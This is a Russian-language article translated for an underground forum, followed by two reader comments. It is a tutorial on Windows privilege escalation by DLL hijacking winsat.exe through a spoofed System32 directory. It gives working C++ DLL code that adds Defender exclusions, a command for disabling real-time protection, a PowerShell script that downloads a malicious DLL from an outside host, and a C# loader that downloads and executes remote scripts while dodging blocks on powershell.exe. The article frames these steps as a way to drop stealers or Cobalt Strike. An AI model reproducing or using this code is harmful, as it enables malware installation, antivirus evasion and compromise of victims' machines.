• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья [ПЕРЕВОД] Exploit lpe and bypass Windows Defender

вавилонец

CPU register
Пользователь
Регистрация
17.06.2021
Сообщения
1 116
Реакции
1 265
ОРИГИНАЛЬНАЯ СТАТЬЯ
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ xss.pro
$600 на SSD для Jolah Milovski ---> 0x5B1f2Ac9cF5616D9d7F1819d1519912e85eb5C09 для поднятия ноды ETHEREUM и тестов


Цель урока - получить опыт написания вредоносных программ и инструментов Red Teaming для новичков, которые хотели повысить свои навыки, также, если вы профессионал, добро пожаловать.

Требования
  1. - Visual studio
  2. - базовые знания С++
  3. - базовые знания powershell
  4. - базовые знания С#
В этом руководстве речь пойдет о перехвате dll с использованием winsat.exe.

- Во-первых, как работает winsat?

Winsat по умолчанию при запуске запускается от имени администратора, и первое, что происходит после запуска, это загрузка необходимых dll / без которых Winsat никогда не запустится! / поэтому здесь мы воспользуемся преимуществом, заменив исходные dll нашими вредоносными dll, и когда Winsat запустит dll, dll также будет работать от имени администратора, поэтому мы можем использовать dll для запуска нашего целевого процесса от имени администратора, например, мы можем запустить powershell.exe и добавить определенный каталог в список исключений в защитнике Windows ,
Затем мы можем загрузить наш вредоносный exe-файл в каталог, который мы добавили в список исключений, что бы это ни было, cobalt strike, стилер и т. д.

- Теперь давайте накодим?
Winsat находится в «c:\windows\system32\winsat.exe» !!! . ты угадал проблему? да, он находится в «c: \ windows \ system32 \», это означает, что если мы хотим заменить исходную dll, мы не можем, потому что для этого потребуются права администратора, и вот здесь каталог MOCK решит проблему.

1668232164593.png


Что такое mock - каталог?

Моcк-каталог — это каталог, который включает пробелы между косыми чертами \

Обычный каталог: c:\windows\system32\winsat.exe
mock каталог: c:\windows \system32\winsat.exe

Чтобы создать mock - каталог с помощью powershell, используйте команду New-Item.

Код:
New-Item '\\?\C:\Windows\System32' -ItemType Directory.

С этим пунктом все в порядке, и я думаю, теперь вы понимаете, как это работает.

пароль: xss.pro. загрузите вложение и распакуйте zip-файл :

Откройте проект Visual Studio и перейдите к версии, это имя dll, которое мы будем заражать.

1668232279792.png


Вы не можете создать обычный проект dll из Visual Studio, потому что для winsat потребуется определенная подпись.

Теперь необходимо в DllMain поместит наш вредоносный код. Назначение этой dll является запуск оболочки с повышенными правами - с правами администратора, а затем добавление определенного каталога в список исключений защитника Windows.

И это можно сделать с помощью функции WinExec! Я знаю, о чем вы думаете, почему бы не использовать CreateProcess вместо WinExec. По какой-то причине у меня это не сработает, но вы все равно можете попробовать.
WinExec сначала принимает в качестве аргумента командную строку, а второй аргумент предназначен для параметра show, чтобы показать, что powershell устанавливает последний аргумент равным 1, а чтобы сделать его скрытым, устанавливает последний аргумент равным 0.

PowerShell commend .

C++:
cmd.exe /c powershell.exe -windowstyle hidden -NoProfile -ExecutionPolicy bypass -Command  $cankja = [System.Environment]::GetFolderPath('CommonApplicationData');$fcankja= $cankja; Add-MpPreference -ExclusionPath $fcankja;

Позвольте мне объяснить вам код powershell.

[System.Environment]::GetFolderPath('CommonApplicationData'); задает путь к каталогу «c:\programdata».
Add-MpPreference -ExclusionPath $folderpath; добавляет каталог programdata в список исключений защитника Windows, поэтому все файлы в этом каталоге защитник Windows пропустит при сканировании, вы можете изменить этот код на свой код, возможно, отключить защитника Windows, используя приведенный ниже код.
Enter:Set-MpPreference -DisableRealtimeMonitoring $true

Окончательный код выглядит так.

C++:
#include "pch.h"
#include "prxdll.h"
BOOL APIENTRY DllMain(
    const HINSTANCE instance,
    const DWORD reason,
    const PVOID reserved)

{

    switch ( reason ) {

    case DLL_PROCESS_ATTACH:

        WinExec("cmd.exe /c powershell.exe -windowstyle hidden -NoProfile -ExecutionPolicy bypass -Command  $cankja = [System.Environment]::GetFolderPath('CommonApplicationData');$fcankja= $cankja; Add-MpPreference -ExclusionPath $fcankja; ", 0);

        DisableThreadLibraryCalls(instance);

        return prx_attach(instance);

    case DLL_PROCESS_DETACH:

        prx_detach(reserved);

        break;

    }

    return TRUE;

}

Теперь скомпилируйте проект и обратите внимание, что архитектура должна быть такой же, как у целевой версии.

А теперь давайте перейдем к powershell?

Этот скрипт будет эксплойтом который создаст новый mock - каталог, а затем скопирует winsat.exe из исходного каталога и сохранит его в новом каталоге, и, наконец, загрузит dll и запустит процесс winsat.exe в скрытом режиме, но в этом коде я добавляю необязательный шаг перед эксплойтом, я проверю установленный AV, если установлен только WD, если есть другой AV, он пропустит эксплойт.

Не забывайте, что главная цель — получить права администратора.

C#:
$computername=$env:computername;

$AntiVirusProducts = Get-WmiObject -Namespace "root\SecurityCenter2" -Class AntiVirusProduct  -ComputerName $computername;

$detected = 0;

foreach($AntiVirusProduct in $AntiVirusProducts)

{

    if($AntiVirusProduct.displayName -ne "Windows Defender")

    {   

        # no exploit normal run

        $detected = 1;

    }

}
if($detected -eq 0)

{

    New-Item '\\?\C:\Windows \System32' -ItemType Directory

    Set-Location -Path '\\?\C:\Windows \System32'

    copy C:\Windows\System32\WinSAT.exe "C:\windows \System32\winSAT.exe"

    Invoke-WebRequest -Uri 'http://th30c0der.com/versionx64.dll' -OutFile 'version.dll'

    Start-Process -WindowStyle hidden -Filepath 'C:\windows \System32\winSAT.exe'

}

Измените th30c0der.com на свой домен или ip, это может быть localhost.

Наконец-то, но как мы можем доставить этот скрипт powershell! я буду использовать .net 4.8, и я буду использовать powershell без техники powershell для выполнения сценария powershell без использования powershell.exe, это обойдет ограничение, если целевая система заблокировала powershell.exe в системе

Чтобы создать проект загрузчика ps1, создайте новое приложение C# Windows Forms.

1668232482099.png


И выберите версию 4.8 .net

1668232511118.png


Должен управлять пакетами nuget



1668232543261.png

Найдите пакет powershell, который загрузит System.Management.Automation.dll .

Теперь откройте Program.cs
И удалите строки по умолчанию, которые будут отображать окно графического интерфейса.

Код будет таким

C#:
using System;
using System.Management.Automation.Runspaces;
namespace PS1Loader

{
    internal static class Program

    {
        static void Main()

        {
        }
    }
}

Теперь давайте инициализируем пространство выполнения конфигурации, добавим нашу команду powershell и вызовем ее.
Окончательный код будет таким
Код:
using System;
using System.Management.Automation.Runspaces;
namespace PS1Loader
{
    internal static class Program
    {
        static void Main()

        {

            Runspace runspaceKhamisla = RunspaceFactory.CreateRunspace(RunspaceConfiguration.Create());
            runspaceKhamisla.Open();
            Pipeline pipeline = runspaceKhamisla.CreatePipeline();
            pipeline.Commands.AddScript("$ps1url = '';iex(New-Object Net.WebClient).DownloadString($ps1url)");
            pipeline.Invoke();
        }
    }
}

Перед компиляцией убедитесь, что вы изменили имена переменных и пространство имен.
Все готово, мы заканчили, увидимся в новом уроке.

 
Спасибо за перевод, а где вложение?
я сначала не докомпилировал - "какие вложения еще нахуй", в оригинале статьи, на кою ссылка в самой первой строчке их, собственно нЭт, откуда же им взяться-то в переводе)) Увольте уж.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх